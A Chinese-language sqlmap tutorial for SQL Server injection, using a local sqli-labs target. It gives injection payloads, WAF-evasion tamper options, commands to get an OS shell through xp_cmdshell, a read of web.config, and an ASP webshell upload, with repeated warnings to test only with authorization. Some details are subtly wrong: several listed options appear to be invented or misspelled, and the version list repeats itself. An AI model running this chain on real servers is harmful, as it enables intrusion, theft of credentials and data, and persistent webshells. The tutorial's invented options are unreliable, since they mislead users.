目录
- SQL Server 与 sqlmap 的特殊性
- 环境准备
- sqlmap 基础概念
- 实战演练:从简单到复杂
- SQL Server 特定的选项
- 获取 Shell 与提权
- 常见问题与解决方案
- 总结与最佳实践
SQL Server 与 sqlmap 的特殊性
sqlmap 对 SQL Server 有很好的支持,但了解其特殊性可以让你的注入更高效:

- 数据库指纹识别:sqlmap 能非常准确地识别出后端是 SQL Server,并进一步识别出版本(如 2005, 2008, 2012, 2025, 2025 等)。
- 元数据获取:SQL Server 有一些系统表和视图,sqlmap 会利用它们来获取信息:
sys.databases: 获取所有数据库名。sys.tables: 获取所有表名。sys.columns: 获取所有列名。information_schema.columns: (标准SQL) 同样可以获取列名。
- 错误信息:默认情况下,SQL Server 不会在页面上显示详细的错误信息(这通常是在
web.config中配置的),如果页面没有回显错误,sqlmap 会使用 基于布尔 或 基于时间 的盲注技术,这会比基于报错注入慢一些。 - 权限与提权:
sa权限:这是 SQL Server 的超级管理员权限,sqlmap 成功获取sa权限,意味着你可以完全控制数据库。DB_OWNER权限:数据库所有者权限,可以对该数据库下的所有对象进行任何操作。xp_cmdshell:这是一个扩展存储过程,允许 SQL Server 执行操作系统命令,默认情况下,在 SQL Server 2005 及更高版本中是禁用的,sqlmap 发现sa权限,它可以尝试开启它,这是获取 OS Shell 的关键一步。
环境准备
-
安装 sqlmap: 如果你已经安装了 Kali Linux 或 Parrot OS,sqlmap 通常已经预装,你也可以从其 GitHub 仓库直接下载:
# 克隆最新版本 git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
-
寻找一个测试目标: 重要声明:仅在你拥有授权的测试环境或合法的漏洞测试目标上进行练习! 以下使用一个经典的测试环境 "sqli-labs" 的 SQL Server 版本作为示例,你可以自己搭建一个,或者寻找其他在线靶场。
-
确定注入点: 在使用 sqlmap 之前,最好先手动判断一下是否存在注入点,在 URL 参数后加上单引号 :
http://192.168.1.100/sqli-labs/SQLServer/Less-1/?id=1'如果页面返回错误信息,说明存在潜在的注入点。
sqlmap 基础概念
在开始之前,你需要了解几个核心参数:

-u URL/--url=URL: 指定目标 URL。-p PARAMETER: 指定要测试的参数(如id,name等),如果参数在 Cookie 或 POST 数据中,也需要指定。--data=DATA: 指定 POST 请求的数据。--cookie=COOKIE: 指定 HTTP Cookie。-v 0-6: 设置详细级别。-v 3是比较常用的,可以看到 payload 和发送的请求。--batch: 自动选择所有默认选项,适合自动化脚本。--dbs: 列出所有数据库。--tables -D DB_NAME: 列出指定数据库中的所有表。--columns -D DB_NAME -T TABLE_NAME: 列出指定表中的所有列。--dump -D DB_NAME -T TABLE_NAME -C COL1,COL2: 转储指定列的数据。--current-user: 获取当前数据库用户。--is-dba: 判断当前用户是否为数据库管理员。--os-shell: 尝试获取一个操作系统交互式 Shell。--file-read="FILE_PATH": 从数据库服务器读取文件。--file-write="LOCAL_FILE" --file-dest="REMOTE_FILE": 将本地文件上传到数据库服务器。
实战演练:从简单到复杂
假设我们的目标 URL 是 http://192.168.1.100/sqli-labs/SQLServer/Less-1/?id=1
自动探测和利用
这是最简单的方式,让 sqlmap 自动发现注入点并进行利用。
# 基础扫描,自动检测所有参数 python sqlmap.py -u "http://192.168.1.100/sqli-labs/SQLServer/Less-1/?id=1" # 设置详细级别为 3,以便观察过程 python sqlmap.py -u "http://192.168.1.100/sqli-labs/SQLServer/Less-1/?id=1" -v 3
执行过程解析:
- 测试阶段:sqlmap 会首先测试参数
id是否存在注入,它会尝试各种Payload,id=1' AND '1'='1(布尔注入)id=1' WAITFOR DELAY '0:0:5'--(时间注入)id=1' AND 1=CAST((SELECT @@VERSION) AS NVARCHAR(4000))--(报错注入)
- 识别数据库:根据响应,sqlmap 会识别出后端是 Microsoft SQL Server。
- 枚举信息:如果注入点存在,它会询问你是否要进行进一步枚举(如获取数据库、表、列等),使用
--batch会自动回答 "是"。
# 自动回答所有问题,进行完整枚举 python sqlmap.py -u "http://192.168.1.100/sqli-labs/SQLServer/Less-1/?id=1" --batch -v 3
手动指定参数
当 URL 中有多个参数时,或者你想专注于测试某个特定参数时,使用 -p。

# URL: http://192.168.1.100/vuln.php?id=1&user=admin # 我们只想测试 id 参数 python sqlmap.py -u "http://192.168.1.100/vuln.php?id=1&user=admin" -p id --batch
处理 Cookie 和 POST 数据
很多登录表单的注入点在 POST 数据或 Cookie 中。
示例1: POST 注入
假设登录表单如下:
<form action="login.php" method="post"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit" value="Login"> </form>
login.php 的接收逻辑可能存在漏洞,sqlmap 这样使用:
python sqlmap.py -u "http://192.168.1.100/login.php" \
--data="username=admin&password=pass" \
-p username \
--batch
--data: 指定了 POST 请求体。-p username: 明确告诉 sqlmap 只测试username这个参数。
示例2: Cookie 注入
如果应用依赖于 Cookie 进行身份验证,Cookie 中存在注入点。
python sqlmap.py -u "http://192.168.1.100/profile.php" \
--cookie="PHPSESSID=abcdef12345; user_id=1" \
-p user_id \
--batch
--cookie: 指定了 Cookie 字符串。-p user_id: 明确测试user_id这个 Cookie 值。
处理 HTTP 头注入
有些注入点可能存在于 User-Agent, Referer, X-Forwarded-For 等 HTTP 头中。
# 假设 User-Agent 头存在注入
python sqlmap.py -u "http://192.168.1.100/index.php" \
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) MyInjectablePayload" \
-p User-Agent \
--batch
-p User-Agent: 告诉 sqlmap 测试User-Agent这个 HTTP 头。
绕过 WAF/IPS
现代应用通常有 Web 应用防火墙,会拦截 sqlmap 的明显攻击特征。
# 使用随机 Agent 和延迟来降低被检测的风险
python sqlmap.py -u "http://192.168.1.100/vuln.php?id=1" \
--random-agent \
--delay=1 \
--proxy="http://127.0.0.1:8080" \
--batch
# 更强大的绕过技术
python sqlmap.py -u "http://192.168.1.100/vuln.php?id=1" \
--tam=space2comment,randomcase \
--batch
--random-agent: 每次请求使用一个随机的 User-Agent。--delay=1: 在每个请求之间延迟 1 秒。--proxy: 通过代理服务器发送请求。--tam=TAMPER_SCRIPT: 使用 tamper 脚本修改 payload,以绕过过滤。space2comment会将空格替换为 ,randomcase会随机改变 payload 的大小写。
SQL Server 特定的选项
sqlmap 有一些专门针对 SQL Server 的选项,可以使其行为更优化。
--sql-server-dbms-fingerprint: 强制指定 DBMS 为 SQL Server,有时可以加速识别过程。--sql-server-timeout: 设置 SQL Server 注入的超时时间。--sql-shell: 尝试获取一个 SQL 交互式 Shell,而不是 OS Shell,这在数据库权限不足但需要执行复杂查询时很有用。
获取 Shell 与提权
这是 sqlmap 最强大的功能之一。
获取 OS Shell
sqlmap 发现当前数据库用户是 sa 或者有足够权限,它会尝试开启 xp_cmdshell 并给你一个 Shell。
python sqlmap.py -u "http://192.168.1.100/vuln.php?id=1" --os-shell --batch
执行后,sqlmap 会尝试开启 xp_cmdshell,如果成功,你会进入一个类似 os-shell> 的命令提示符,之后你就可以执行系统命令了,
os-shell> whoami
os-shell> dir C:\
os-shell> type C:\windows\win.ini
xp_cmdshell 被禁用怎么办?
sqlmap 会尝试通过其他方法执行命令,
sp_oacreate: 使用 OLE 自动化。xp_regread: 读取注册表。clb: 创建 CLR 程集。
如果这些都失败了,你就需要手动开启 xp_cmdshell,这通常需要 sa 权限,并且需要知道 sa 密码或者有其他方式来执行查询。
文件操作
读取文件
假设你想读取服务器上的 C:\inetpub\wwwroot\web.config 文件。
python sqlmap.py -u "http://192.168.1.100/vuln.php?id=1" \
--file-read="C:\\inetpub\\wwwroot\\web.config" \
--batch
- 注意:Windows 路径中的反斜杠
\需要双写\\或使用正斜杠 进行转义。
写入文件 (上传 Webshell)
这是非常危险的操作,假设你已经找到了一个可写的目录,并且想上传一个 ASP Webshell。
# 本地有一个名为 shell.asp 的文件
python sqlmap.py -u "http://192.168.1.100/vuln.php?id=1" \
--file-write="shell.asp" \
--file-dest="C:\\inetpub\\wwwroot\\uploads\\shell.asp" \
--batch
执行成功后,你就可以通过 http://192.168.1.100/uploads/shell.asp 来访问这个 Webshell 了。
常见问题与解决方案
-
问题:
all parameters seem to not be injectable.- 原因:注入点不存在,或者被 WAF 拦截,或者参数编码方式特殊(如 URL/Double)。
- 解决:
- 检查 URL 是否正确。
- 尝试使用
--tamper脚本。 - 手动验证注入点是否存在。
- 增加
-v的级别,观察 sqlmap 发送的请求。
-
问题:
sqlmap resumed the following injection point(s)...但没有进一步操作。- 原因:sqlmap 找到了注入点,但可能无法确定注入类型(布尔、时间、报错等),或者权限不足。
- 解决:使用
--technique指定注入技术,--technique=B(布尔) 或--technique=T(时间)。
-
问题:无法获取
sa权限,无法开启xp_cmdshell。- 原因:当前数据库用户权限太低。
- 解决:这是正常的安全限制,你可以尝试获取数据库中的其他敏感信息,如用户名、密码哈希等,如果目标是提权,你可能需要寻找其他漏洞(如操作系统漏洞)或利用 SQL Server 的其他特权功能。
-
问题:速度非常慢。
- 原因:基于时间的盲注本身就很慢,尤其是在网络延迟高的情况下。
- 解决:
- 使用
--time-sec减少等待时间(但会增加误报率)。 - 使用
--predict-output如果你能猜到部分输出内容,可以加速。 - 确保网络连接稳定。
- 使用
总结与最佳实践
- 手动优先:sqlmap 是强大的自动化工具,但理解其背后的原理(如布尔盲注、时间盲注)至关重要,先手动尝试,再用 sqlmap 验证和自动化。
- 从简到繁:总是从最简单的
-u和-p开始,逐步添加更多选项。 - 善用
-v:详细级别是你调试 sqlmap 行为的最好朋友,遇到问题时,把-v调高(如-v 6)看看 sqlmap 到底在做什么。 - 合法授权:再次强调,永远在获得明确授权的系统上使用 sqlmap。 未经授权的扫描和攻击是违法行为。
- 学习 Tamper 脚本:了解并学习编写 Tamper 脚本是绕过 WAF 的关键技能。
- 保持更新:sqlmap 和 WAF 都在不断更新,保持学习最新的绕过技术和防御策略。
希望这份针对 SQL Server 的教程对你有帮助!
